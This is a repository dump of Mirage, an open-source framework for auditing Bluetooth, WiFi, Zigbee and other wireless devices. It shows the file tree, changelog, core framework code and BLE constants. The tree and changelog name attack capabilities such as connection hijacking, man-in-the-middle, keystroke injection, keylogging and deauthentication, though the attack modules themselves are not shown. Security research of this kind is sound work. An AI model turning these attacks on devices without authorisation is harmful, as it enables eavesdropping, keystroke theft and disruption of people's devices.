├── .gitignore ├── CHANGELOG.md ├── LICENSE.txt ├── MANIFEST.in ├── mirage ├── __init__.py ├── core │ ├── __init__.py │ ├── app.py │ ├── argParser.py │ ├── config.py │ ├── interpreter.py │ ├── loader.py │ ├── module.py │ ├── scenario.py │ ├── task.py │ ├── taskManager.py │ └── templates.py ├── libs │ ├── __init__.py │ ├── ble.py │ ├── ble_utils │ │ ├── __init__.py │ │ ├── adb.py │ │ ├── att_server.py │ │ ├── btlejack.py │ │ ├── butterfly.py │ │ ├── constants.py │ │ ├── crypto.py │ │ ├── decoders.py │ │ ├── dissectors.py │ │ ├── encoders.py │ │ ├── hackrf.py │ │ ├── hcidump.py │ │ ├── helpers.py │ │ ├── nrfsniffer.py │ │ ├── packets.py │ │ ├── pcap.py │ │ ├── scapy_btlejack_layers.py │ │ ├── scapy_hci_layers.py │ │ ├── scapy_link_layers.py │ │ ├── scapy_nrfsniffer_layers.py │ │ ├── scapy_sniffle_layers.py │ │ ├── sniffle.py │ │ └── ubertooth.py │ ├── bt.py │ ├── bt_utils │ │ ├── __init__.py │ │ ├── assigned_numbers.py │ │ ├── constants.py │ │ ├── hciconfig.py │ │ ├── packets.py │ │ ├── scapy_layers.py │ │ ├── scapy_ubertooth_layers.py │ │ ├── scapy_vendor_specific.py │ │ └── ubertooth.py │ ├── common │ │ ├── __init__.py │ │ ├── hid.py │ │ ├── parsers.py │ │ └── sdr │ │ │ ├── __init__.py │ │ │ ├── decoders.py │ │ │ ├── demodulators.py │ │ │ ├── encoders.py │ │ │ ├── hackrf_definitions.py │ │ │ ├── hardware.py │ │ │ ├── modulators.py │ │ │ ├── pipeline.py │ │ │ ├── sinks.py │ │ │ └── sources.py │ ├── esb.py │ ├── esb_utils │ │ ├── __init__.py │ │ ├── constants.py │ │ ├── dissectors.py │ │ ├── helpers.py │ │ ├── packets.py │ │ ├── pcap.py │ │ ├── rfstorm.py │ │ └── scapy_esb_layers.py │ ├── io.py │ ├── ir.py │ ├── ir_utils │ │ ├── __init__.py │ │ ├── irma.py │ │ ├── packets.py │ │ └── scapy_irma_layers.py │ ├── mosart.py │ ├── mosart_utils │ │ ├── __init__.py │ │ ├── constants.py │ │ ├── dissectors.py │ │ ├── helpers.py │ │ ├── keyboard_codes.py │ │ ├── packets.py │ │ ├── pcap.py │ │ ├── rfstorm.py │ │ └── scapy_mosart_layers.py │ ├── utils.py │ ├── wifi.py │ ├── wifi_utils │ │ ├── __init__.py │ │ ├── constants.py │ │ └── packets.py │ ├── wireless.py │ ├── wireless_utils │ │ ├── __init__.py │ │ ├── butterfly.py │ │ ├── callbacks.py │ │ ├── device.py │ │ ├── dissectors.py │ │ ├── packetQueue.py │ │ ├── packets.py │ │ ├── pcapDevice.py │ │ └── scapy_butterfly_layers.py │ ├── zigbee.py │ └── zigbee_utils │ │ ├── __init__.py │ │ ├── chip_tables.py │ │ ├── constants.py │ │ ├── decoders.py │ │ ├── encoders.py │ │ ├── hackrf.py │ │ ├── helpers.py │ │ ├── packets.py │ │ ├── pcap.py │ │ ├── rzusbstick.py │ │ └── scapy_xbee_layers.py ├── mirage.py ├── modules │ ├── __init__.py │ ├── ble_adv.py │ ├── ble_connect.py │ ├── ble_crack.py │ ├── ble_discover.py │ ├── ble_hijack.py │ ├── ble_info.py │ ├── ble_jam.py │ ├── ble_master.py │ ├── ble_mitm.py │ ├── ble_monitor.py │ ├── ble_pair.py │ ├── ble_scan.py │ ├── ble_slave.py │ ├── ble_sniff.py │ ├── bt_info.py │ ├── bt_scan.py │ ├── esb_info.py │ ├── esb_inject.py │ ├── esb_mitm.py │ ├── esb_prx.py │ ├── esb_ptx.py │ ├── esb_scan.py │ ├── esb_sniff.py │ ├── ir_info.py │ ├── ir_inject.py │ ├── ir_sniff.py │ ├── mosart_info.py │ ├── mosart_inject.py │ ├── mosart_keyinjector.py │ ├── mosart_keylogger.py │ ├── mosart_scan.py │ ├── mosart_sniff.py │ ├── mouse_visualizer.py │ ├── wifi_deauth.py │ ├── wifi_info.py │ ├── wifi_rogueap.py │ ├── wifi_scan.py │ ├── zigbee_deauth.py │ ├── zigbee_floodassoc.py │ ├── zigbee_info.py │ ├── zigbee_inject.py │ ├── zigbee_scan.py │ └── zigbee_sniff.py └── scenarios │ ├── __init__.py │ ├── ble_basic_master.py │ ├── ble_basic_master_encrypted.py │ ├── ble_basic_slave.py │ ├── keyboard_hid_over_gatt.py │ ├── lightbulb_injection.py │ ├── lightbulb_mitm.py │ ├── logitech_encrypted_keystrokes_injection.py │ ├── logitech_invert_mouse_mitm.py │ └── logitech_unencrypted_keystrokes_injection.py ├── mirage_launcher ├── readme.md └── setup.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | version 1.2 2 | 3 | * Added InjectaBLE attack support, a new Bluetooth Low Energy attack allowing to inject packets into an established connection 4 | * New ButteRFly device, allowing to interact with injectaBLE firmware (nRF52840 dongle), compatible with multiple existing modules 5 | * BLE injection attack 6 | * Experimental attacks based on InjectaBLE: slave hijacking, master hijacking, Man-in-the-Middle 7 | * Added experimental Software Defined Radio support for Bluetooth Low Energy and Zigbee 8 | * HackRF experimental device, compatible with advertising-related BLE modules and Zigbee modules 9 | * Software Defined Radio architecture, with multiple modulators/demodulators (GFSK / O-QPSK), encoders/decoders (BLE, Zigbee) 10 | * Added Sniffle device support (version 1.5) 11 | * Bluetooth Low Energy sniffing 12 | * Bluetooth Low Energy Master 13 | * Bluetooth Low Energy Advertiser 14 | * Added esb\_mitm module, allowing to perform a Man-in-the-Middle attack targeting Logitech Unifying protocol 15 | * Added three examples of scenarios: lightbulb\_injection (ble\_sniff scenario), lightbulb\_mitm (ble\_mitm scenario), logitech\_invert\_mouse\_mitm (esb\_mitm scenario) 16 | * Added shortcuts feature, allowing to facilitate the use of complex modules 17 | * Various bugfixes 18 | 19 | version 1.1 20 | 21 | * Added multiple protocol stacks: ESB, Mosart, Zigbee, Wifi, Infrared Radiations 22 | * Added support for the following harware components: RFStorm, RZUSBStick, IRma, WiFi device 23 | * Added multiple modules targeting the new protocols 24 | * Added three examples of scenarios: keyboard\_hid\_over\_gatt, logitech\_unencrypted\_keystrokes\_injection, logitech\_encrypted\_keystrokes\_injection 25 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Romain Cayre 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | recursive-include mirage *.py 2 | recursive-include mirage/core *.py 3 | recursive-include mirage/libs *.py 4 | recursive-include mirage/modules *.py 5 | recursive-include mirage/scenarios *.py 6 | -------------------------------------------------------------------------------- /mirage/__init__.py: -------------------------------------------------------------------------------- 1 | __version__="1.2" 2 | -------------------------------------------------------------------------------- /mirage/core/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RCayre/mirage/b6cd39eb779a94a11ebf9f7cba4e77435d885434/mirage/core/__init__.py -------------------------------------------------------------------------------- /mirage/core/argParser.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import io 2 | import sys 3 | 4 | class ArgParser: 5 | ''' 6 | This class allows to easily parse parameters from command line. 7 | ''' 8 | def __init__(self,appInstance=None): 9 | ''' 10 | This constructor allows to keep a pointer on the main Application instance. 11 | 12 | :param appInstance: instance of the main Application (core.app.App) 13 | :type appInstance: core.app.App 14 | ''' 15 | self.appInstance = appInstance 16 | 17 | 18 | def debug(self): 19 | ''' 20 | This method checks if the debug parameter has been provided by the user on the command line. 21 | It will modify the attribute ``debugMode`` stored in the provided instance of core.app.App. 22 | ''' 23 | if "--debug" in sys.argv: 24 | self.appInstance.debugMode = True 25 | sys.argv.remove("--debug") 26 | 27 | 28 | def quiet(self): 29 | ''' 30 | This method checks if the quiet parameter has been provided by the user on the command line. 31 | It will modify the attribute ``quiet`` stored in the provided instance of core.app.App. 32 | ''' 33 | if "--quiet" in sys.argv: 34 | self.appInstance.quiet = True 35 | sys.argv.remove("--quiet") 36 | 37 | def verbosity(self): 38 | ''' 39 | This method checks if the verbosity parameter has been provided by the user on the command line. 40 | It will modify the variable ``VERBOSITY_LEVEL`` stored in libs.io. 41 | ''' 42 | verbosity = [arg for arg in sys.argv if "--verbosity=" in arg] 43 | if len(verbosity) > 0: 44 | (_,value) = verbosity[-1].split("--verbosity=") 45 | if value.upper() == "NONE" or value == "0": 46 | io.VERBOSITY_LEVEL = io.VerbosityLevels.NONE 47 | elif value.upper() == "NO_INFO_AND_WARNING" or value == "1": 48 | io.VERBOSITY_LEVEL = io.VerbosityLevels.NO_INFO_AND_WARNING 49 | elif value.upper() == "NO_INFO" or value=="2": 50 | io.VERBOSITY_LEVEL = io.VerbosityLevels.NO_INFO 51 | else: 52 | io.VERBOSITY_LEVEL = io.VerbosityLevels.ALL 53 | 54 | for arg in sys.argv: 55 | if "--verbosity=" in arg: 56 | sys.argv.remove(arg) 57 | 58 | 59 | def create_module(self): 60 | ''' 61 | This method checks if the create_module parameter has been provided by the user on the command line. 62 | It will call the method ``create_module`` of the main application instance (core.app.App). 63 | ''' 64 | if "--create_module" in sys.argv: 65 | self.appInstance.create_module() 66 | return True 67 | return False 68 | 69 | def create_scenario(self): 70 | ''' 71 | This method checks if the create_scenario parameter has been provided by the user on the command line. 72 | It will call the method ``create_scenario`` of the main application instance (core.app.App). 73 | ''' 74 | if "--create_scenario" in sys.argv: 75 | self.appInstance.create_scenario() 76 | return True 77 | return False 78 | 79 | def list(self): 80 | ''' 81 | This method checks if the list parameter has been provided by the user on the command line. 82 | It will call the method ``list`` of the main application instance (core.app.App). 83 | ''' 84 | if "--list" in sys.argv: 85 | self.appInstance.list() 86 | return True 87 | else: 88 | applist = [arg for arg in sys.argv if "--list=" in arg] 89 | if len(applist) > 0: 90 | (_,pattern) = applist[-1].split("--list=") 91 | self.appInstance.list(pattern=pattern) 92 | return True 93 | return False 94 | 95 | def launcher(self): 96 | ''' 97 | This method checks if a Mirage module to run has been provided by the user on the command line. 98 | It will load and run the corresponding module with the parameters provided by the user. 99 | 100 | :Example: 101 | 102 | ``./mirage.py moduleName PARAMETER1=value1 PARAMETER2=value2 PARAMETER3=value3`` 103 | 104 | ''' 105 | module = sys.argv[1] 106 | self.appInstance.load(module) 107 | if len(self.appInstance.modules) > 0: 108 | if "--args" in sys.argv or "--showargs" in sys.argv: 109 | self.appInstance.args() 110 | exit(1) 111 | else: 112 | for arg in sys.argv[2:]: 113 | arg = arg.split("=",1) 114 | if len(arg) == 2: 115 | (name,value) = arg 116 | self.appInstance.set(name,value) 117 | else: 118 | io.fail("Incorrect parameter : "+str(arg)) 119 | exit(1) 120 | self.appInstance.run() 121 | self.appInstance.exit() 122 | 123 | 124 | def run(self): 125 | ''' 126 | This method checks if Mirage has been launched with some parameters. 127 | - If no Mirage module has been provided by the user on the command line, it will launch the main application loop 128 | (method ``loop`` of core.app.App) 129 | - If a Mirage module has been provided by the user, it calls the method ``launcher`` of core.argParser.ArgParser. 130 | 131 | ''' 132 | self.debug() 133 | self.quiet() 134 | self.verbosity() 135 | if self.create_module() or self.create_scenario(): 136 | self.appInstance.exit() 137 | elif not self.list(): 138 | if len(sys.argv) == 1: 139 | self.appInstance.loop() 140 | else: 141 | self.launcher() 142 | 143 | 144 | -------------------------------------------------------------------------------- /mirage/core/config.py: -------------------------------------------------------------------------------- 1 | import configparser 2 | 3 | class Config: 4 | ''' 5 | This class is used to parse and generate a configuration file in ".cfg" format. 6 | ''' 7 | def __init__(self, filename): 8 | ''' 9 | This constructor initializes the parser and load the configuration file provided in parameter ``filename``. 10 | 11 | :param filename: Filename of the configuration file 12 | :type filename: str 13 | ''' 14 | self.parser = configparser.ConfigParser() 15 | self.datas = {} 16 | self.shortcuts = {} 17 | self.filename = filename 18 | self.generateDatas() 19 | self.generateShortcuts() 20 | 21 | def generateDatas(self): 22 | ''' 23 | This method parses the configuration file and store the corresponding arguments in the attribute ``datas``. 24 | ''' 25 | try: 26 | self.parser.read(self.filename) 27 | for module in self.parser.sections(): 28 | if "shortcut:" not in module: 29 | arguments = {} 30 | for (key,value) in self.parser.items(module): 31 | arguments[key.upper()] = value 32 | self.datas[module] = arguments 33 | except configparser.ParsingError: 34 | io.fail("Bad format file !") 35 | 36 | def generateShortcuts(self): 37 | ''' 38 | This method parses the configuration file and store the corresponding arguments in the attribute ``datas``. 39 | ''' 40 | try: 41 | self.parser.read(self.filename) 42 | for section in self.parser.sections(): 43 | if "shortcut:" in section: 44 | shortcutName = section.split("shortcut:")[1] 45 | modules = None 46 | description = "" 47 | arguments = {} 48 | for (key,value) in self.parser.items(section): 49 | if key.upper() == "MODULES": 50 | modules = value 51 | elif key.upper() == "DESCRIPTION": 52 | description = value 53 | else: 54 | if "(" in value and ")" in value: 55 | names = value.split("(")[0] 56 | defaultValue = value.split("(")[1].split(")")[0] 57 | 58 | arguments[key.upper()] = { 59 | "parameters":names.split(","), 60 | "value":defaultValue 61 | } 62 | else: 63 | arguments[key.upper()] = { 64 | "parameters":value.split(","), 65 | "value":None 66 | } 67 | if modules is not None: 68 | self.shortcuts[shortcutName] = {"modules":modules,"description":description,"mapping":arguments} 69 | except configparser.ParsingError: 70 | io.fail("Bad format file !") 71 | 72 | def getShortcuts(self): 73 | ''' 74 | This method returns the shortcuts loaded from the configuration file. 75 | 76 | :return: dictionary listing the existing shortcuts 77 | :rtype: dict 78 | ''' 79 | return self.shortcuts 80 | 81 | def dataExists(self, moduleName, arg): 82 | ''' 83 | This method checks if a value has been provided in the configuration file for the argument ``arg`` of the module 84 | named according to ``moduleName``. 85 | 86 | :param moduleName: name of the module 87 | :type moduleName: str 88 | :param arg: name of the argument 89 | :type arg: str 90 | :return: boolean indicating if a value has been provided 91 | :rtype: bool 92 | ''' 93 | return moduleName in self.datas and arg in self.datas[moduleName] 94 | 95 | def getData(self, moduleName,arg): 96 | ''' 97 | This method returns the value provided in the configuration file for the argument ``arg`` of the module 98 | named according to ``moduleName``. 99 | 100 | :param moduleName: name of the module 101 | :type moduleName: str 102 | :param arg: name of the argument 103 | :type arg: str 104 | :return: value of the parameter 105 | :rtype: str 106 | ''' 107 | return self.datas[moduleName][arg] 108 | -------------------------------------------------------------------------------- /mirage/core/loader.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import io 2 | 3 | class Loader: 4 | ''' 5 | This class permits to dynamically load the modules. 6 | ''' 7 | def __init__(self): 8 | ''' 9 | This constructor generates the modules list. 10 | ''' 11 | import mirage.modules as modules 12 | self.modulesList = {} 13 | for moduleName,module in modules.__modules__.items(): 14 | current = module#__import__("modules."+module, fromlist=module) 15 | moduleClass = getattr(current,moduleName) 16 | self.modulesList[moduleName] = moduleClass 17 | 18 | def getModulesNames(self): 19 | ''' 20 | This method returns a list of existing modules' names. 21 | 22 | :return: list of modules' name 23 | :rtype: list of str 24 | ''' 25 | return list(self.modulesList.keys()) 26 | 27 | def load(self,moduleName): 28 | ''' 29 | This method returns an instance of a specific module according to the name provided as parameter. 30 | 31 | :param moduleName: name of a module 32 | :type moduleName: str 33 | :return: an instance of the module 34 | :rtype: core.module.Module 35 | ''' 36 | if moduleName in self.modulesList: 37 | return self.modulesList[moduleName]() 38 | else: 39 | return None 40 | 41 | 42 | def list(self,pattern=""): 43 | ''' 44 | Display the list of module, filtered by the string provided as ``pattern``. 45 | 46 | :param pattern: filter 47 | :type pattern: str 48 | ''' 49 | displayDict = {} 50 | 51 | for module in self.modulesList: 52 | info = self.modulesList[module]().info() 53 | technology = (info["technology"][:1]).upper() + (info["technology"][1:]).lower() 54 | if ( 55 | pattern in info["description"] or 56 | pattern in info["name"] or 57 | pattern in info["technology"] or 58 | pattern in info["type"] 59 | ): 60 | if not technology in displayDict: 61 | displayDict[technology] = [] 62 | displayDict[technology].append([info["name"], info["type"], info["description"]]) 63 | 64 | 65 | for module in sorted(displayDict): 66 | if displayDict[module]: 67 | io.chart(["Name", "Type","Description"], sorted(displayDict[module]), "{} Modules".format(module)) 68 | -------------------------------------------------------------------------------- /mirage/core/scenario.py: -------------------------------------------------------------------------------- 1 | import traceback 2 | from mirage.core import module,app 3 | from mirage.libs import io 4 | 5 | class Scenario: 6 | ''' 7 | This class defines a scenario. A Scenario is a Mirage entity allowing to customize the behaviour of a module without 8 | modifying its code, and can be compared to a list of callbacks called when a specific event (or signal) happens. 9 | ''' 10 | def __init__(self,name="",module=None): 11 | ''' 12 | This constructor allows to define the main attributes of a scenario, especially : 13 | - name : name of the scenario 14 | - description : description of the scenario 15 | - module : the associated module instance 16 | - args : the arguments of the associated module 17 | 18 | :param name: name of the scenario 19 | :type name: str 20 | :param module: associated module instance 21 | :type module: core.module.Module 22 | ''' 23 | self.name = name if name != "" else self.__class__.__name__ 24 | self.description = "A generic collection of callbacks" 25 | self.module = module 26 | self.args = module.args 27 | 28 | 29 | 30 | def receiveSignal(self,signal,*args, **kwargs): 31 | ''' 32 | This method is called when a signal is received, and calls the corresponding method in the scenario if it exists. 33 | ''' 34 | if signal in [i for i in dir(self) if "__" not in i]: 35 | try: 36 | defaultBehaviour = getattr(self,signal)(*args,**kwargs) 37 | return defaultBehaviour 38 | except Exception as e: 39 | if not hasattr(self,signal): 40 | io.fail("Non matching method in scenario "+self.name) 41 | else: 42 | io.fail("An error occured in scenario "+self.name+" !") 43 | if app.App.Instance.debugMode: 44 | traceback.print_exception(type(e), e, e.__traceback__) 45 | else: 46 | return True 47 | 48 | def scenarioSignal(argument): 49 | ''' 50 | Decorator allowing to link a module's method to a specific signal. 51 | 52 | :param argument: signal name 53 | :type argument: str 54 | ''' 55 | def signalDecorator(function): 56 | def wrapper(self,*args, **kwargs): 57 | if hasattr(self,"scenario"): 58 | defaultBehaviour = self.scenario.receiveSignal(argument,*args,**kwargs) 59 | else: 60 | defaultBehaviour = True 61 | if defaultBehaviour is None or defaultBehaviour: 62 | result = function(self,*args,**kwargs) 63 | else: 64 | result = None 65 | return result 66 | return wrapper 67 | return signalDecorator 68 | -------------------------------------------------------------------------------- /mirage/core/task.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import utils 2 | import multiprocessing,os,sys 3 | from ctypes import c_char_p 4 | 5 | class Task(multiprocessing.Process): 6 | ''' 7 | This class defines a background Task, it inherits from ``multiprocessing.Process``. 8 | It provides an user friendly API to easily run a given function in background. 9 | ''' 10 | def __init__(self,function,name,args=[],kwargs={}): 11 | ''' 12 | This constructor allows to provide the main characteristics of the task, and initializes the attributes. 13 | 14 | :param function: function to run in background 15 | :type function: function 16 | :param name: name of the current task 17 | :type name: str 18 | :param args: list of unnamed arguments 19 | :type args: list 20 | :param kwargs: dictionary of named arguments 21 | :type kwargs: dict 22 | ''' 23 | self.function = function 24 | self.taskName = name 25 | self.args = args 26 | self.kwargs = kwargs 27 | self.manager = multiprocessing.Manager() 28 | self.state = self.manager.Value(c_char_p, "stopped") 29 | self.outputFilename = "" 30 | self.outputFile = None 31 | super().__init__() 32 | 33 | def run(self): 34 | ''' 35 | This method runs the specified function in background. 36 | 37 | .. note:: The standard output is automatically redirected in a temporary file, named ``-.out`` 38 | ''' 39 | self.outputFilename = utils.getTempDir()+"/"+self.taskName+"-"+str(os.getpid()) + ".out" 40 | self.outputFile = open(self.outputFilename, 'a') 41 | sys.stdout = self.outputFile 42 | self.function(*(self.args), **(self.kwargs)) 43 | self.state.value = "ended" 44 | 45 | def start(self): 46 | ''' 47 | This method allows to start the current task. 48 | ''' 49 | self.state.value = "running" 50 | super().start() 51 | self.outputFilename = utils.getTempDir()+"/"+self.taskName+"-"+str(self.pid)+".out" 52 | 53 | 54 | def stop(self): 55 | ''' 56 | This method allows to stop the current task. 57 | ''' 58 | self.state.value = "stopped" 59 | self.terminate() 60 | if self.outputFile is not None: 61 | self.outputFile.close() 62 | 63 | def toList(self): 64 | ''' 65 | This method returns a list representing the current task. 66 | It is composed of : 67 | 68 | * the task's PID 69 | * the task's name 70 | * the task's state 71 | * the associated output file 72 | 73 | :return: list representing the current task 74 | :rtype: list of str 75 | ''' 76 | return [str(self.pid), self.taskName, self.state.value, self.outputFilename] 77 | -------------------------------------------------------------------------------- /mirage/core/taskManager.py: -------------------------------------------------------------------------------- 1 | from .task import Task 2 | from copy import copy 3 | import psutil 4 | 5 | class TaskManager: 6 | ''' 7 | This class is a manager allowing to easily manipulate background tasks (using multiprocessing). 8 | It is instantiated by the main application instance (``core.app.App``). 9 | ''' 10 | def __init__(self): 11 | self.tasks = {} 12 | 13 | def addTask(self, function, name="", args=[],kwargs={}): 14 | ''' 15 | This method allows to create a new background task. 16 | It instantiates a ``core.task.Task`` and adds it to the task dictionary ``tasks``. 17 | If a task already exists using the specified name, it will be suffixed by a number. 18 | 19 | :param function: function to launch in background 20 | :type function: function 21 | :param name: name of the task 22 | :type name: str 23 | :param args: array of unnamed arguments 24 | :type args: list 25 | :param kwargs: dictionary of named arguments 26 | :type kwargs: dict 27 | :return: real name of the instantiated task (it may be suffixed) 28 | :rtype: str 29 | ''' 30 | baseName = name if name != "" else function.__name__ 31 | taskName = baseName 32 | counter = 1 33 | while taskName in self.tasks: 34 | taskName = baseName + "." + str(counter) 35 | counter+=1 36 | 37 | self.tasks[taskName] = Task(function,taskName, args=args, kwargs=kwargs) 38 | return taskName 39 | 40 | def startTask(self,name): 41 | ''' 42 | This method starts an existing task according to its (real) name. 43 | 44 | :param name: name of the task to start 45 | :type name: str 46 | ''' 47 | if name in self.tasks and self.tasks[name].state.value == "stopped": 48 | self.tasks[name].start() 49 | return True 50 | return False 51 | 52 | def stopTask(self,name): 53 | ''' 54 | This method stops an existing task according to its (real) name. 55 | 56 | :param name: name of the task to stop 57 | :type name: str 58 | ''' 59 | if name in self.tasks and self.tasks[name].state.value == "running": 60 | for child in psutil.Process(self.tasks[name].pid).children(): 61 | child.terminate() 62 | self.tasks[name].stop() 63 | del self.tasks[name] 64 | return True 65 | return False 66 | 67 | def restartTask(self,name): 68 | ''' 69 | This method restarts an existing task according to its (real) name. 70 | 71 | :param name: name of the task to restart 72 | :type name: str 73 | ''' 74 | task = self.tasks[name] 75 | self.stopTask(name) 76 | self.tasks[name] = Task(task.function,name, args=task.args, kwargs=task.kwargs) 77 | self.tasks[name].start() 78 | return True 79 | 80 | def stopAllTasks(self): 81 | ''' 82 | This method stop all running tasks. 83 | ''' 84 | for task in copy(self.tasks): 85 | if self.tasks[task].state.value == "running": 86 | self.stopTask(task) 87 | else: 88 | del self.tasks[task] 89 | 90 | def getTaskPID(self,name): 91 | ''' 92 | This method returns a task's PID according to its name. 93 | 94 | :param name: name of the task 95 | :type name: str 96 | :return: task's PID 97 | :rtype: int 98 | ''' 99 | if name in self.tasks: 100 | return self.tasks[name].pid 101 | else: 102 | return None 103 | 104 | def getTaskState(self,name): 105 | ''' 106 | This method returns a task's state according to its name. 107 | 108 | :param name: name of the task 109 | :type name: str 110 | :return: task's state 111 | :rtype: str 112 | ''' 113 | if name in self.tasks: 114 | return self.tasks[name].state.value 115 | else: 116 | return None 117 | 118 | def getTasksList(self,pattern=""): 119 | ''' 120 | This method returns the list of the existing tasks, filtered by a specified pattern. 121 | 122 | :param pattern: Filter 123 | :type pattern: str 124 | :return: list of existing tasks 125 | :rtype: list 126 | 127 | ''' 128 | return [t.toList() for t in self.tasks.values() if pattern in t.name or pattern in str(t.pid) or pattern in t.state.value] 129 | 130 | -------------------------------------------------------------------------------- /mirage/core/templates.py: -------------------------------------------------------------------------------- 1 | __module_template__ = """from mirage.core import module 2 | from mirage.libs import utils,$technology 3 | 4 | class $name(module.WirelessModule): 5 | def init(self): 6 | self.technology = "$technology" 7 | self.type = "$type" 8 | self.description = "$description" 9 | self.args = $arguments 10 | self.dependencies = [$dependencies] 11 | 12 | def run(self): 13 | # Enter your code here. 14 | return self.ok({}) 15 | """ 16 | 17 | __scenario_template__ = """from mirage.core import scenario 18 | from mirage.libs import io,ble,esb,utils 19 | 20 | class $name(scenario.Scenario): 21 | 22 | def onStart(self): 23 | return True 24 | 25 | def onEnd(self): 26 | return True 27 | 28 | def onKey(self,key): 29 | return True 30 | """ 31 | -------------------------------------------------------------------------------- /mirage/libs/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RCayre/mirage/b6cd39eb779a94a11ebf9f7cba4e77435d885434/mirage/libs/__init__.py -------------------------------------------------------------------------------- /mirage/libs/ble_utils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RCayre/mirage/b6cd39eb779a94a11ebf9f7cba4e77435d885434/mirage/libs/ble_utils/__init__.py -------------------------------------------------------------------------------- /mirage/libs/ble_utils/constants.py: -------------------------------------------------------------------------------- 1 | ''' 2 | This module contains some constants that are used by the Bluetooth Low Energy stack. 3 | ''' 4 | 5 | TYPE_HCI_COMMAND = 0x1 6 | TYPE_ACL_DATA = 0x2 7 | TYPE_HCI_EVENT = 0x4 8 | 9 | HCI_LE_META = 0x3e 10 | 11 | HCI_CONNECTION_COMPLETE = 0x1 12 | HCI_ADVERTISING_REPORT = 0x2 13 | HCI_LONG_TERM_KEY_REQUEST = 0x5 14 | HCI_ENCRYPTION_CHANGE = 0x8 15 | HCI_ENHANCED_CONNECTION_COMPLETE= 0xa 16 | 17 | HCI_DISCONNECTION_COMPLETE = 0x5 18 | 19 | ADV_IND = 0x0 20 | ADV_DIRECT_IND = 0x1 21 | ADV_SCAN_IND = 0x2 22 | ADV_NONCONN_IND = 0x3 23 | SCAN_RSP = 0x4 24 | ADV_DIRECT_IND_LOW = 0x4 25 | 26 | # ATT Error Codes 27 | ATT_ERR_INVALID_HANDLE = 0x01 28 | ATT_ERR_READ_NOT_PERMITTED = 0x02 29 | ATT_ERR_WRITE_NOT_PERMITTED = 0x03 30 | ATT_ERR_INVALID_PDU = 0x04 31 | ATT_ERR_INSUFFICIENT_AUTHEN = 0x05 32 | ATT_ERR_UNSUPPORTED_REQ = 0x06 33 | ATT_ERR_INVALID_OFFSET = 0x07 34 | ATT_ERR_INSUFFICIENT_AUTHOR = 0x08 35 | ATT_ERR_PREPARE_QUEUE_FULL = 0x09 36 | ATT_ERR_ATTR_NOT_FOUND = 0x0a 37 | ATT_ERR_ATTR_NOT_LONG = 0x0b 38 | ATT_ERR_INSUFFICIENT_KEY_SIZE = 0x0c 39 | ATT_ERR_INVALID_VALUE_SIZE = 0x0d 40 | ATT_ERR_UNLIKELY = 0x0e 41 | ATT_ERR_INSUFFICIENT_ENCRYPT = 0x0f 42 | ATT_ERR_UNSUPPORTED_GRP_TYPE = 0x10 43 | ATT_ERR_INSUFFICIENT_RESOURCES = 0x11 44 | ATT_ERR_INVALID_VALUE = 0x80 45 | 46 | # SM Error Codes 47 | SM_ERR_PASSKEY_ENTRY_FAILED = 0x01 48 | SM_ERR_OOB_NOT_AVAILABLE = 0x02 49 | SM_ERR_AUTH_REQUIREMENTS = 0x03 50 | SM_ERR_CONFIRM_VALUE_FAILED = 0x04 51 | SM_ERR_PAIRING_NOT_SUPPORTED = 0x05 52 | SM_ERR_ENCRYPTION_KEY_SIZE = 0x06 53 | SM_ERR_COMMAND_NOT_SUPPORTED = 0x07 54 | SM_ERR_UNSPECIFIED_REASON = 0x08 55 | SM_ERR_REPEATED_ATTEMPTS = 0x09 56 | SM_ERR_INVALID_PARAMETERS = 0x0A 57 | SM_ERR_DHKEY_CHECK_FAILED = 0x0B 58 | SM_ERR_NUMERIC_COMPARISON_FAILED= 0x0C 59 | SM_ERR_BREDR_PAIRING_IN_PROGRESS= 0x0D 60 | SM_ERR_CROSS_TRANSPORT_KEY = 0x0E 61 | 62 | 63 | CONTROL_TYPES = { 64 | 0x00 : "LL_CONNECTION_UPDATE_REQ", 65 | 0x01 : "LL_CHANNEL_MAP_REQ", 66 | 0x02 : "LL_TERMINATE_IND", 67 | 0x03 : "LL_ENC_REQ", 68 | 0x04 : "LL_ENC_RSP", 69 | 0x05 : "LL_START_ENC_REQ", 70 | 0x06 : "LL_START_ENC_RESP", 71 | 0x07 : "LL_UNKNOWN_RSP", 72 | 0x08 : "LL_FEATURE_REQ", 73 | 0x09 : "LL_FEATURE_RSP", 74 | 0x0A : "LL_PAUSE_ENC_REQ", 75 | 0x0B : "LL_PAUSE_ENC_RSP", 76 | 0x0C : "LL_VERSION_IND", 77 | 0x0D : "LL_REJECT_IND" 78 | } 79 | 80 | ADV_TYPES = { 81 | 0: "ADV_IND", 82 | 1: "ADV_DIRECT_IND", 83 | 2: "ADV_NONCONN_IND", 84 | 3: "SCAN_REQ", 85 | 4: "SCAN_RSP", 86 | 5: "CONNECT_REQ", 87 | 6: 